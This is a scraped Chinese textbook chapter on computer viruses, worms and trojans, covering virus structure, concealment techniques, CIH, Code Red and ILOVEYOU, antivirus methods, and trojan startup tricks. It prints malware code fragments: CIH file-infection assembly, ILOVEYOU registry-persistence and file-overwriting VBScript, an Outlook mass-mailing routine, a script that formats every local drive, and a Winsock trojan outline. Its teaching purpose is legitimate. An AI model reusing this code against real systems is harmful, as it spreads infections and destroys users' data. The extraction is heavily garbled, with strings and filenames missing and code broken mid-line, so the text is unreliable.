第4章 计算机病毒与黑客(94)_第1页
第4章 计算机病毒与黑客(94)_第2页
第4章 计算机病毒与黑客(94)_第3页
第4章 计算机病毒与黑客(94)_第4页
第4章 计算机病毒与黑客(94)_第5页
已阅读5页,还剩89页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、第4章 计算机病毒与黑客4.1 计算机病毒的概述4.2 计算机病毒制作技术4.3 计算机杀毒软件制作技术4.4 蠕虫病毒分析4.5 特洛伊木马4.6 计算机病毒与黑客的防范 4.1 计算机病毒的概述4.1.1 计算机病毒的定义 中华人民共和国计算机信息系统安全保护条例对病毒定义表明了计算机病毒就是具有破坏性的计算机程序。 计算机病毒的特征 1破坏性。 2隐蔽性。 3传染性。熊猫烧香病毒 计算机病毒的破坏性、隐蔽性、传染性是计算机病毒的基本特征。 4潜伏性。 5可触发性。 6不可预见性。4.1.3 计算机病毒的产生原因 1软件产品的脆弱性是产生计算机病毒根本的技术原因 2社会因素是产生计算机病毒

2、的土壤 病毒不是来源于突发或偶然的原因。一次突发的停电和偶然的错误,会在计算机的磁盘和内存中产生一些乱码和随机指令,但这些代码是无序和混乱的,病毒则是一种比较完美的,精巧严谨的代码,按照严格的秩序组织起来,与所在的系统网络环境相适应和配合起来,病毒不会通过偶然形成,并且需要有一定的长度,这个基本的长度从概率上来讲是不可能通过随机代码产生的。现在流行的病毒是由人为故意编写的,多数病毒可以找到作者和产地信息,从大量的统计分析来看,病毒作者主要情况和目的是:一些天才的程序员为了表现自己和证明自己的能力,出于对上司的不满,为了好奇,为了报复,为了祝贺和求爱,为了得到控制口令,为了软件拿不到报酬预留的陷

3、阱等当然也有因政治,军事,宗教,民族专利等方面的需求而专门编写的,其中也包括一些病毒研究机构和黑客的测试病毒 4.1.4 计算机病毒的传播途径 计算机病毒主要是通过复制文件、发送文件、运行程序等操作传播的。通常有以下几种传播途径: 1移动存储设备 包括硬盘、移动硬盘、光盘等。硬盘是数据的主要存储介质,因此也是计算机病毒感染的主要目标。 2网络 目前大多数病毒都是通过网络进行传播的,破坏性很大。4.1.5 计算机病毒的分类 我们把计算机病毒大致归结为7种类型。 1引导型病毒。主要通过感染软盘、硬盘上的引导扇区或改写磁盘分区表(FAT)来感染系统。早期的计算机病毒大多数属于这类病毒。 2文件型病毒

4、。它主要是以感染COM、EXE等可执行文件为主,被感染的可执行文件在执行的同时,病毒被加载并向其它正常的可执行文件传染或执行破坏操作。文件型病毒大多数也是常驻内存的。 3宏病毒。宏病毒是一种寄存于微软Office的文档或模板的宏中的计算机病毒,是利用宏语言编写的。由于Office软件在全球存在着广泛的用户,所以宏病毒的传播十分迅速和广泛。 4蠕虫病毒。蠕虫病毒与一般的计算机病毒不同,它不采用将自身拷贝附加到其它程序中的方式来复制自己,也就是说蠕虫病毒不需要将其自身附着到宿主程序上。蠕虫病毒主要通过网络传播,具有极强的自我复制能力、传播性和破坏性。 5特洛伊木马型病毒。特洛伊木马型病毒实际上就是

5、黑客程序,一般不对计算机系统进行直接破坏,而是通过网络控制其它计算机,包括窃取秘密信息,占用计算机系统资源等现象。 6网页病毒。网页病毒一般也是使用脚本语言将有害代码直接写在网页上,当浏览网页时会立即破坏本地计算机系统,轻者修改或锁定主页,重者格式化硬盘,使你防不胜防。 7混合型病毒。兼有上述计算机病毒特点的病毒统称为混合型病毒,所以它的破坏性更大,传染的机会也更多,杀毒也更加困难。 有多种分类方法:根据病毒存在的媒体可分为网络病毒,文件病毒,引导型病毒。 根据病毒传染的方法可分为驻留型病毒和非驻留型病毒。按病毒破坏的能力可分为无害型、无危险型、危险型、非常危险型。按病毒的算法可分为伴随型病毒

6、,“蠕虫”型病毒,寄生型病毒、诡秘型病毒(它们一般不直接修改DOS中断和扇区数据,而是通过设备技术和文件缓冲区等DOS内部修改,不易看到资源,使用比较高级的技术。利用DOS空闲的数据区进行工作。)、变型病毒(又称幽灵病毒) (这一类病毒使用一个复杂的算法,使自己每传播一份都具有不同的内容和长度。它们一般的作法是一段混有无关指令的解码算法和被变化过的病毒体组成)。 4.1.6 计算机病毒的表现现象 1.计算机系统运行速度减慢。 2.计算机系统经常无故发生死机。 3.计算机系统中的文件长度发生变化。 4.计算机存储的容量异常减少。 5.系统引导速度减慢。 6.丢失文件或文件损坏。 7.计算机屏幕上

7、出现异常显示。 8.计算机系统的蜂鸣器出现异常声响。 9.磁盘卷标发生变化。 10.系统不识别硬盘。 11.对存储系统异常访问。 12.键盘输入异常。 13.文件的日期、时间、属性等发生变化。 14.文件无法正确读取、复制或打开。 15.命令执行出现错误。 16.虚假报警。 17.换当前盘。有些病毒会将当前盘切换到C盘。 18.时钟倒转。有些病毒会命名系统时间倒转,逆向计时。 操作系统无故频繁出现错误。或无法正常启动。20.系统异常重新启动。 21.一些外部设备工作异常。如打印和通讯发生异常。 22.异常要求用户输入密码。 或EXCEL提示执行“宏”。 24.不应驻留内存的程序驻留内存。 25

8、平时运行正常的计算机突然经常性无缘无故地死机。 26收到陌生人发来的电子邮件。 27自动链接到一些陌生的网站。 28网络瘫痪。 4.1.7 计算机病毒程序一般构成 病毒程序一般由三个基本模块组成,即安装模块、传染模块和破坏模块。 1安装模块 病毒程序必须通过自身的程序实现自启动并安装到计算机系统中,不同类型的病毒程序会使用不同的安装方法。 2传染模块 传染模块包括三部分内容: (1)传染控制部分。病毒一般都有一个控制条件,一旦满足这个条件就开始感染。例如,病毒先判断某个文件是否是.EXE文件,如果是再进行传染,否则再寻找下一个文件; (2)传染判断部分。每个病毒程序都有一个标记,在传染时将判断

9、这个标记,如果磁盘或者文件已经被传染就不再传染,否则就要传染了; (3)传染操作部分。在满足传染条件时进行传染操作。 3破坏模块 计算机病毒的最终目的是进行破坏,其破坏的基本手段就是删除文件或数据。破坏模块包括两部分:一是激发控制,另一个就是破坏操作。 对每个病毒程序来说,安装模块、传染模块是必不可少的,而破坏模块可以直接隐含在传染模块中,也可以单独构成一个模块。 计算机病毒程序工作的一般流程用类C语言描述如下:/*引导功能模块*/将病毒程序寄生于宿主程序中;加载计算机程序;病毒程序随其宿主程序的运行进入系统;传染功能模块;破坏功能模块;main()调用引导功能模块;A:do 寻找传染对象;

10、if(传染条件不满足)goto A; while(满足传染条件); 调用传染功能模块;while(满足破坏条件) 激活病毒程序;调用破坏功能模块; 运行宿主源程序; if 不关机 goto A; 关机;计算机病毒程序工作的N-S图如右图 4.2 计算机病毒制作技术 1采用自加密技术 计算机病毒采用自加密技术就是为了防止被计算机病毒检测程序扫描出来,并被轻易地反汇编。这对分析和破译计算机病毒等工作都增加了很多困难。 2采用变形技术 计算机病毒编制者通过修改某种已知计算机病毒的代码,使其能够躲过现有计算机病毒检测程序时,称这种新出现的计算机病毒是原来被修改计算机病毒的变形或变种。 3采用特殊的隐形

11、技术 当计算机病毒采用特殊的隐形技术后,可以在计算机病毒进入内存后,使计算机用户几乎感觉不到它的存在。采用这种“隐形”技术的计算机病毒化装成了正常表现形式。 4对抗计算机病毒防范系统 当有某些著名的计算机病毒杀毒软件或在文件中查找到出版这些软件的公司名时,就会删除这些杀毒软件或文件等。 5反跟踪技术 计算机病毒采用反跟踪措施的目的是要提高计算机病毒程序的防破译能力和伪装能力。常规程序使用的反跟踪技术在计算机病毒程序中都可以利用。 6利用中断处理机制 病毒设计者篡改中断处理功能为达到传染、激发和破坏等目的。如INT 13H是磁盘输入输出中断,引导型病毒就是用它来传染病毒和格式化磁盘的。 7 Wi

12、ndows病毒编制的关键技术(1) 利用文件技术 文件属于Windows启动配置文件,主要用于对一些在Windows运行过程中无法进行删除、更名或更新等操作的文件在启动过程中进行上述操作,它存在的时间很短,操作完成后即被自动删除。文件有3个可能的段,其中“rename”段的格式为:renamefilename1=filename2行“filename1=filename2”相当于依次执行“copy filename2 filename1”及“del filename2”这两个DOS命令。 启动时,Windows将用filename2覆盖filename1,再删除filename2,这就实现了用

13、filename2更新filename1的目的,如果filename1不存在,实际结果是将filename2改名为filename1;如果要删除文件,可令filename1为nul。 在Windows中,一个可执行文件如果正在运行或某个库文件(*.dll、*.vxd、*.sys等)正在被打开使用,则不能被改写或删除。例如,在资源管理器中无法删除,或者在Windows的GDI界面下,删除显示驱动程序库文件、文件子系统库文件等。若要对这些文件进行升级,改动,就必须在Windows保护模式核心启动前进行,即利用基于文件的一个机制来完成这个任务。 这个机制是:将删除或改写这类文件的应用程序按一定的格式

14、把命令写入 ,Windows在重启时,将在Windows目录下搜索文件,如果找到,就遵照该文件指令删除、改名、更新文件,完成任务后,将删除文件本身,继续启动过程。所以文件中的指令只会被执行一次,列目录时也通常没有它的踪影。 Windows病毒在感染文件时,也碰到了这样一个问题,某些文件,因为系统正在使用,不能被改写和感染,早期的Windows病毒如CIH病毒采用VxD技术来解决这个问题,这易造成系统不稳定,后期的病毒大多采用Windows提供的标准方法文件来解决这个问题。 如下几种新出现的Windows病毒即使用了这种方法。1) “Win32.Kriz”病毒又叫“圣诞节”病毒,内存驻留型,具有

15、多形性且极端危险,在12月25日发作时将改写CMOS,覆盖所有驱动器上的所有文件,然后用CIH病毒中的同样程序破坏主板上Flash BIOS,该病毒感染exe(PE格式,即Portable Executable File Format,可移植的执行体)和scr文件,同时为了监控所有文件操作,它感染,接管文件复制、打开、移动等文件存取函数,由于文件在Windows运行时只能以只读方式打开,为感染它,该病毒将它复制一份,名为,然后感染复制品,写Rename指令到文件中,下次机器启动时,将替代原来的完成感染。2) 蠕虫“Supp1.A”是一个Word宏蠕虫,通过在发出的E-mail中插入一个特洛伊文

16、档作为附件传播。当被打开时病毒复制文档到,把要展开的数据写到文件,并解压为,以上文件都放在Windows目录下。接下来这个蠕虫创建一个具有如下内容的文件。renamenul=该病毒将把硬盘上doc、xls、txt、rif、zip、arj、rar等类型文件长度置03) Heathen病毒“Heathen病毒”是一个多平台病毒,感染Word文档和PE格式的exe文件。为了感染,病毒先把复制为,然后加一条“rename”指令到文件,例如:rename=下次启动时,Windows将帮助它完成对的感染。另外,该病毒发作时也使来删除Windows注册表文件:renamenul=nul=4) “Win95.

17、SK”是最凶狠、最狡猾的病毒之一,原有一些BUG,现在已出现了更新版本,纠正了第一个版本中的所有BUG。它是一个寄生性的Windows病毒,可感染Windows PE格式文件、HLPE帮助文件、压缩包文件(rar、xip、arj、ha)。它采用了许多新的高级技术,如:自身加密解密技术,入口点隐藏技术等,当磁盘上文件被访问时,它检查其文件名,如果是几个反病毒程序的名字(DINF、AVPI、AVP、VBA、DRWEB),该病毒将删除从C:盘到Z:盘的所有目录下的所有能被删除的文件,然后,调用函数Fatal_Error_Handler使系统死机。 Windows Shell文件是Windows病毒必

18、争之地,该病毒自然不会放过,但比其他病毒更加完善,它通过从文件中的“Shell=”行来获得Shell文件名,这样,即使将改名,在Shell中指定实际的文件名,期望借此避免被感染,也是徒劳,它感染Shell文件的具体步骤是:以为例,把复制为,然后感染、再创建文件,写入合适的rename指令,这与其他病毒的作法相同。(2) 利用注册表技术 注册表是一个庞大的数据库,用来存储计算机软硬件的各种配置数据。注册表中记录了用户安装在计算机上的软件和每个程序的相关信息,用户可以通过注册表调整软件的运行性能、检测和恢复系统错误、定制桌面等。因而掌握了注册表,即掌握了对计算机配置的控制权。因此,病毒程序可以通过

19、修改、掌握注册表,来达到控制计算机的目的。 这类方法常用的有修改注册表的键值、锁定注册表等。(3) 虚拟设备驱动程序(VxD) VxD是一个管理如硬件设备或者已安装软件等系统资源的32位可执行程序,使得几个应用程序可以同时使用这些资源。Windows通过使用VxD允许基于Windows的应用程序实现多任务。VxD在与Windows的连接工作中处理中断,并为需要进行I/O操作的应用程序执行I/O操作,而且不影响其他应用程序的执行。大多数VxD管理硬件设备,也有一些VxD管理或代替与之相关的软件,例如普通ROM BIOS。 其实,VxD不仅仅可以用来控制硬件设备,因为VxD工作在80386保护模式

20、Ring 0特权级(最高特权级)上,而一般的应用程序工作在Ring 3特权级(最低特权级)上,所以VxD可以完成许多API不能完成的功能,例如端口读写、物理内存读写、中断调用、API拦截等。因此,在Windows系统的病毒编制技术中,通过编制一个VxD病毒程序或编制一小段病毒程序代码来来激活一个动态VxD,使得系统瘫痪,也是常见方法之一。由于Windows系统对VxD的行为没有限制,因此VxD病毒可以绕过所采用的任何保机制,所以此种病毒相当恶毒。 此类典型病毒即为CIH病毒。该病毒使用面向Windows的VxD技术编制,主要感染Windows操作系统下的可执行文件(exe、com、vxd、vx

21、e),并且在DOS、及Windows NT中无效,感染后的文件大小根本没有变化,病毒代码的大小在1KB左右。由于CIH病毒独特地使用了VxD技术,使得这种病毒在Windows环境下传播,使用一般反病毒软件很难发现这种病毒在系统中的传播。CIH病毒程序部分代码如下:lea eax, (LastVxDCallAddress-2-9)esi;上一个调用VxD的指令的地址 mov cl, VxDCallTableSize ;所用VxD调用的个数 LoopOfRestoreVxDCallID: mov word ptr eax, 20cdh;还原成int 20h的形式 mov edx, (VxDCall

22、IDTable+(ecx-1)*04h-9)esi ;从VxDCallIDTable取出VxD调用的id号放到edxmov eax+2, edx;放到int 20h的后面,形成int 20h and the Service Identifier的形式 movzx edx, byte ptr (VxDCallAddressTable+ecx19)esi ;VxDCallAddressTable中放着各个调用VxD的指令的地址之差 sub eax, edx;eax为上一个调用地址 loop LoopOfRestoreVxDCallID ;还原其他的调用WriteVirusCodeToFile: m

23、ov eax, dr1;dr1为前面所保存的esp mov ebx, eax+10h;ebx为保存在栈中的保存文件句柄 mov edi, eax;edi为保存在栈中的IFSMgr_Ring0_FileIO调用的地址 LoopOfWriteVirusCodeToFile: pop ecx;病毒代码各段的偏移 jecxz SetFileModificationMark;到病毒偏移零为止 mov esi, ecx mov eax, 0d601h;写文件功能号(R0_WRITEFILE) pop edx;文件指针 pop ecx;要写的字节数 call edi;VxDCall IFSMgr_Ring0

24、_FileIO;写文件,依次写入:各段病毒代码,病毒块表,新的文件块表,新的程序入口,感染标志 jmp LoopOfWriteVirusCodeToFile在CIH病毒代码中,全部系统调用都是采用VxD调用,这种方法编制的病毒代码与其他方法编制的病毒代码比较而言,病毒代码更加底层,效率更高。特别是和用API函数编制的病毒相比不需考虑病毒自身的复杂重定位过程,和使用中断编制的病毒相比更能防止对程序的跟踪分析。CIH病毒分为驻留、感染、发作3个主要模块。病毒感染时查找感染对象文件的各块之间的空白区域,把病毒自己的各种数据结构和代码写到其中。病毒的有关操作需要0级的权限,所以病毒一开始就设法获得0级

25、权限,监测驻留情况,用VxD调用分配内存,并完成驻留。随后病毒安装文件系统钩子程序(指向感染模块),并保存原来的钩子指针,钩子程序将在所有的文件操作中被激活,它判断是否在打开文件,如是就打开并传染之。病毒发作时,该模块会覆盖硬盘中的绝大多数数据和Flash BIOS中的数据。只要计算机的微处理器是Pentium Intel 430TX,一旦Flash BIOS被覆盖掉,那么机器将不能启动,只有将Flash BIOS进行重写之后才行。(4) 其他编制技术 在Windows病毒编制技术中,除了上述几种典型技术外,还有另外一些方法也较常用,例如,有的病毒程序对程序错误进行屏蔽,使得错误程序继续执行,

26、从而引起系统损坏。还有的病毒程序是对系统进程进行控制,通过注册远程线程的方法,使得系统进程无限循环,进程堆积,机器效率逐渐变低,最后使得系统瘫痪。对于邮件型病毒,可以通过提取Windows地址簿文件(*.wab)的E-mail信息,不断发送邮件,造成系统灾难。(1) “红色代码”病毒“红色代码”是一种专门攻击以及Windows 2000系统的恶性网络蠕虫VirtualRoot(虚拟目录)病毒。该病毒利用微软Index Server(ida/idq)ISAPI扩展远程溢出漏洞,通过80端口发送一个构造后的HTTP GET请求到服务器,当本地IIS服务程序收到某个来自CodeRedII发的请求数据

27、包时,由于存在漏洞,导致处理函数的堆栈溢出(Overflow)。当函数返回时,原返回地址已被病毒数据包覆盖,系统强迫运行病毒代码,此时病毒被激活,并运行在IIS服务程序的堆栈中。8.典型Windows病毒分析 这种蠕虫病毒修改Windows注册表并放置特洛伊木马程序(将改名为),并将文件复制到别的目录,这些目录包括,; ; c:program filescommon filessystem; d:program filescommon filessystem. 显然原来的的文件被从Windows NT的System目录复制到了别的目录,给黑客的入侵敞开了大门。不仅如此,该网络蠕虫程序还会修改系

28、统的注册表项目:HKEY_LOCAL_MACHINESYSTEMCURRENTCONTROLSETSERVICESW3 SVCPARAMETERSVIRTUALROOTS 通过该项目的修改,该蠕虫程序可以建立虚拟的目录C或者D,病毒名由此而来。受感染的机器可由黑客们通过HTTP GET的请求运行scripts/来获得对受感染机器的完全的控制权。该网络蠕虫的主线程检查2个不同的标记:第一个标记是29A(29A是国外最著名的病毒编写组织的代号),该标记控制该网络蠕虫程序的安装;第二个标记是检查是否有“CodeRed II”,如果存在的话,该网络蠕虫程序进入无限的休眠状态。 病毒激活时,网络蠕虫程序

29、会检查当前的系统的语言,如果默认的语言是汉字系统,不管是简体的还是繁体的汉字系统,它会建立600个新的线程;如果不是这两种系统语言的话,该网络蠕虫程序建立300个线程。每一个线程产生一组随机的IP地址,并寻找其中可以感染的目标机器。这些线程不断感染别的机器,当感染一台服务器成功了以后,如果受感染的机器是中文系统,该程序会休眠2天,别的机器休眠1天。当休眠的时间到了以后,该蠕虫程序会使得机器重新启动。同时该蠕虫也会检查机器的月份是否是10月或者年份是否是2002年,如果是的话,受感染的服务器也会重新启动。 当Windows NT系统启动时,NT系统会自动搜索C盘根目录下的文件。受该网络蠕虫程序感

30、染的服务器上的文件,也就是该网络蠕虫程序本身。该文件的大小是8192B,该网络蠕虫程序就是通过该程序来执行的。 它同时还会修改系统的注册表项目: HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWS NTCURRENTVERSION WINLOGON 将其中的数值SFCDisable设置成 0 xFFFFFF9D ,使得系统启动时不检查系统文件的完整性。(2) “I LOVE YOU”病毒 “I LOVE YOU”病毒是用vbscript写出来的通过E-mail散布的病毒。打开邮件的附件时,含有病毒的脚本程序运行,该病毒首先将自身复制到下列目录中:$windir

31、/Win32DLL.vbs ($windir = c:windows on most windows systems)$systemdir/MSKernel32.vbs ($systemdir = c:windowssystem)然后将这些文件加载到注册表中以便在启动时自动运行。并且改变默认的IE浏览页面,通过该页面可下载一个可执行的代码,下载完毕后再将其加入注册表,并把IE的默认浏览页面再改为about:blank。接下来该病毒扫描硬盘及网络共享硬盘,寻找后缀为vbs、vbe、js、jse、css、wsh、sct、hta、vbs、jpg、jpeg 的文件,并将所有这些文件改变成这个病毒,当发

32、现有mp2或者mp3格式的文件时,将自身复制到同样目录下的一个vbs script中,若找到mIRC时则建立一个小的mIRC script(可以发送html页面),这样就可以对所有加入所在频道的所有用户发送html并感染对方的IE。当感染了病毒的IE运行时,会将其共享密码及IP地址通过E-mail发送回指定的地址。该病毒修改注册表部分源代码如下:Set fso = ) Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2)

33、 Set c = ) c.Copy(dirsystem&MSKernel32.vbs) c.Copy(dirwin&Win32DLL.vbs) ) Dim num,downread regcreate HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32, dirsystem&MSKernel32.vbs regcreate HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices Win32DLL,dirwin&Win32DLL.

34、vbs downread= downread=regget(HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory) if (downread=) then downread=c: end if if (fileexist(dirsystem&WinFAT32.exe)=1) then Randomize num = Int(4 * Rnd) + 1) if num = 1 then regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page,

35、elseif num = 2 then regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page, :/ num = 3 then regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page, :/ num = 4 then regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page, :/ end if end if if (fileexist(downread&WINBUGSFIX.exe)=

36、0) thenregcreate HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersio nRunWIN-BUGSFIX,downread&WIN-BUGSFIX.exe regcreate HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain Start Page,about:blank end if该病毒感染文件部分源代码如下:On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.Ge

37、tFolder(folderspec) set fc = for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase() if (ext=vbs) or (ext=vbe) then set ap=fso.OpenTextFile(f1.path,2,true) vbscopy elseif(ext=js)or(ext=jse)or(ext=css)or(ext=wsh)or(ext=sct)or(ext=hta) then set ap=fso.OpenTextFile(f1.path,2,true)

38、vbscopy bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&bname&.vbs) fso.DeleteFile(f1.path) elseif(ext=jpg) or (ext=jpeg) then set ap=fso.OpenTextFile(f1.path,2,true) vbscopy set cop=fso.GetFile(f1.path) cop.copy(f1.path&.vbs) fso.DeleteFile(f1.path) elseif(ext=mp3) o

39、r (ext=mp2) then set mp3=fso.CreateTextFile(f1.path&.vbs) mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) =att.attributes+2 end if if (eqfolderspec) then if (s=mirc32.exe) or (s=mlink32.exe) or (s=) or (s=) or (s=) then set scriptini=) script ;mIRC Script ; Please dont edit this script. mIR

40、C will corru pt, if mIRC will corrupt. WINDOWS will affect and will not run correctly. thanks ; ;Khaled Mardam-Bey ; :/ ; n0=on 1:JOIN:#: n1= /if ( $nick = $me ) halt n2= /.dcc send $nick &dirsystem&LOVE-LETTER-FO R-YOU.HTM n3= eq=folderspec end if end if 4.3 计算机杀毒软件制作技术 1特征代码法 从病毒程序中抽取一段独一无二、足以代表该病

41、毒特征的二进制程序代码,并将这段代码作为判断该病毒的依据,这就是所谓的病毒特征代码。 从各种病毒样本中抽取特征代码,就构成了病毒资料库。 显然,病毒资料库中病毒特征代码种类越多,杀毒软件能查出的病毒就越多。 选择病毒特征码要能够反映出该病毒典型特征,如它的破坏、传播和隐藏性代码。由于病毒数据区会经常变化,因此病毒特征代码不要含有病毒的数据区。在保持病毒典型特征唯一性的前提下,抽取的病毒特征代码要长度适当,应尽量使特征代码长度短些,以减少空间与时间开销,使误报警率最低。 在检查文件是否含有病毒时,可以先打开被检测文件,在文件中搜索,检查文件中是否含有与病毒数据库中相同的病毒特征代码。 如果发现文

42、件中含有病毒特征代码,便可以断定被查文件中患有何种病毒。 采用病毒特征代码法的检测工具,必须不断更新病毒资料库,否则检测工具便会过期老化,逐渐失去实用价值。 特征代码法的优点是检测准确、快速、可识别病毒的名称,是检测已知病毒的最简单、开销最小的方法。缺点是不能检测未知病毒、变种病毒和隐蔽性病毒(隐蔽性病毒进驻内存后,会自动剥去染毒程序中的病毒代码),需定期更新病毒资料库,具有滞后性。 2校验和法 校验和法是根据文件的内容,计算其校验和,并将所有文件的校验和放在资料库中。检测时将文件现有内容的校验和与资料库中的校验和做比较,若不同则判断为被感染病毒。运用校验和法查病毒可以采用三种方式: (1)在

43、检测病毒工具中加入校验和法。 (2)在应用程序中加入校验和法自我检查功能。 (3)将校验和检查程序常驻内存。 3行为监测法 行为监测法是将病毒中比较特殊的共同行为归纳起来,例如,对文件做写入动作,格式化硬盘动作、修改网页等。当程序运行时监视其行为,若发现类似病毒的行为,立即报警。 4 虚拟机技术 (软件模拟法) 用程序代码虚拟一个CPU、各个寄存器、硬件端口也虚拟出来,调入被调的“样本”,通过内存和寄存器以及端口的变化来了解程序的执行情况。将病毒放到虚拟机中执行,则病毒的传染和破坏等动作一定会被反映出来。 5主动内核技术 是主动给操作系统和网络系统打了“补丁”,这些补丁将从安全的角度对系统或网

44、络进行管理和检查,对系统的漏洞进行修补,任何文件在进入系统之前,反病毒模块都将首先使用各种手段对文件进行检测处理。 6启发扫描的反病毒技术 是以特定方式实现对有关指令序列的反编译,逐步理解和确定其蕴藏的真正动机。例如,一段程序有:MOV AH , 5和 INT 13h,这段指令之前不存在取得命令行关于执行的参数选项等,可以认为这是一个病毒或恶意破坏的程序。 7实时反病毒技术 实时反病毒是对任何程序在调用之前都被先过滤一遍,一有病毒侵入,它就报警,并自动杀毒,将病毒拒之门外,做到防患于未然。 8邮件病毒防杀技术 采用智能邮件客户端代理SMCP技术,该技术具有完善的邮件解码技术,能对邮件的各个部分

45、,进行病毒扫描;清除病毒后能将无毒的邮件数据重新编码,传送给邮件客户端,并且能够更改主题、添加查毒报告附件,具备垃圾邮件处理功能等。 还有比较法、感染实验法等。 4.4 蠕虫病毒分析 蠕虫病毒是目前对计算机威胁最大的网络病毒,蠕虫病毒的特征: 1蠕虫病毒的自我复制能力 可以用VB脚本语言编写实现自我复制程序。 Set objFs=CreateObject(“”) 创建一个文件系统对象 Set ff= (“”,1) 通过文件系统对象的方法创建了一个TXT文件。 或 (“C:” )(没有,1) 如果把这两句话保存成为.vbs的VB脚本文件,点击鼠标就会在C盘中创建一个TXT文件了。如果把第二句改为

46、: ().Copy (“C:”) 就可实现将自身复制到C盘这个文件上。 2蠕虫病毒的传播性 其VB脚本代码如下: SetobjOA=(“”)创建一个OUTLOOK应用的对象 SetobjMapi= (“MAPI”) 取得MAPI名字空间 For i=1 to 遍历地址簿 Set objAddList= (i) For j=1 To objAddList. Set objMail= (0) (objAddList. AddressEntries (j) 取得收件人邮件地址 =“你好!” 设置邮件主题 =“这次给你的附件,是我的新文档!” 设置信件内容 (“”) 把自己作为附件扩散出去 发送邮件

47、Next Next Set objMapi=Nothing 清空objMapi变量,释放资源 Set objOA=Nothing 清空objOA变量 3蠕虫病毒的潜伏性 以下是爱虫病毒中的部分代码: On Error Resume Next 容错语句,避免程序崩溃 dim wscr,rr set wscr=CreateObject () 击活 对象 rr=HKEY_CURRENT_USERSoftwareMicrosoftWindowscripting HostSettingsTimeout) 读入注册表中的超时键值if (rr=1) then 超时设置“HKEY_CURRENT_USERSo

48、ftwareMicrosoftWindowsScripting HostSettingsTimeout”,0,“REG_DWORD”end if 下面的一段代码则是修改注册表,使得每次系统启动时自动执行脚本文件。其中和是病毒脚本的一个副本。 regcreate“HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32“,dirsystem&”regcreate “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL,

49、“dirwin&”Win32DLL.vbs”4蠕虫病毒的触发性 x=time() if x= then end if5蠕虫病毒的破坏性 sub killc () 破坏硬盘的过程On Error Resume Next 容错语句,避免程序崩溃dim fs,auto,disc,ds,ss,i,x,dirSetfs=CreateObject(“”)Set auto = (“”, True) 建立或修改自动批处理 (“echo off”) 屏蔽掉删除的进程 (“Smartdrv”)加载磁盘缓冲 Set disc = 得到磁盘驱动器的集合For Each ds in discIf = 2 Then 如果

50、磁盘驱动器是本地盘ss = ss & 就将符号连在一起End IfNextss=LCase (StrReverse (Trim (ss) 得到符号串的反向小写形式For i=1 to Len (ss) 遍历每个磁盘驱动器x=Mid (ss,i,1) 读每个磁盘驱动器的符号 (“format/autotest/q/u “&x&”:”) 反向 (从Z:到A:)自动格式化磁盘驱动器next 关闭批处理文件set dir= (“”)dir.attributes=dir.attributes+2 将自动批处理文件改为隐藏 4.5 特洛伊木马4.5.1 黑客程序与特洛伊木马 特洛伊木马实际上是一种典型的黑

51、客程序,它是一种基于远程控制的黑客工具,现在已成为黑客程序的代名词。将黑客程序形容为特洛伊木马就是要体现黑客程序的隐蔽性和欺骗性。 比较著名的木马程序有BackOrifice(BO)、Netspy(网络精灵)、Glacier(冰河)等,这些木马程序大多可以在网上下载下来直接使用。4.5.2 木马的基本原理 木马本质上只是一个网络客户/服务程序(Client/Server),一般有两个部分组成:一个是服务端程序,另一个是客户端程序。以冰河程序为例,在VB中,可以使用WinSock控件来编写网络客户服务程序,实现方法如下:服务端: G_ =7626(冰河的默认端口,可以改为别的值) (等待连接)客

52、户端: G_ =ServerIP(设远端地址为服务器地址) G _=7626(设远程端口为冰河的默认端口) (调用Winsock控件的连接方法) 其中,G_Server和G_Client均为Winsock控件。一旦服务端接到客户端的连接请求Connection Request,就接受连接。 Private Sub G_ server connection Request G_ Server.Accept reauestID End Sub 客户机端用发送命令,而服务器在G_Server DateArrive事件中接受并执行命令(几乎所有的木马功能都在这个事件处理程序中实现)。如果客户断开连接,

53、则关闭连接并重新监听端口。 Private Sub G _Server Close() (关闭连接) (再次监听) End Sub 4.5.3 特洛伊木马的启动方式 首先黑客将木马程序捆绑在一些常用的软件上,甚至在你浏览网页的时候,将木马悄悄安装到你的计算机中。 将一个程序捆绑到另一个程序可以通过自己编写程序来实现,也可以从网上下载类似DAMS文件捆绑器来实现。 在Windows系统中,黑客实现程序自启动的方法很多,常见的方法有: 1修改系统配置文件 通过修改系统配置文件、来实现木马的自启动。 有两个数据项“load = ”和“run = ”,如果木马需要在系统启动后运行一个程序,只要在“lo

54、ad = ”和“run = ”后添加该程序的程序名就可以了。 2修改注册表 修改注册表是木马最常用的攻击和入侵手段,在注册表中有一名称为: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent VersionRun*的键。 如果想让程序在系统启动的过程中启动该程序,就可以向该目录添加一个子项。 黑客比较喜欢在带“Once”的主键中作手脚,因为带“Once”的主键中的键值在程序运行后将被删除。这样,当用户使用注册表修改程序查看时不会发现。 3通过文件关联启动 例如,通过.exe文件关联exefile,将注册表中HKEY CLASSES ROOTexe

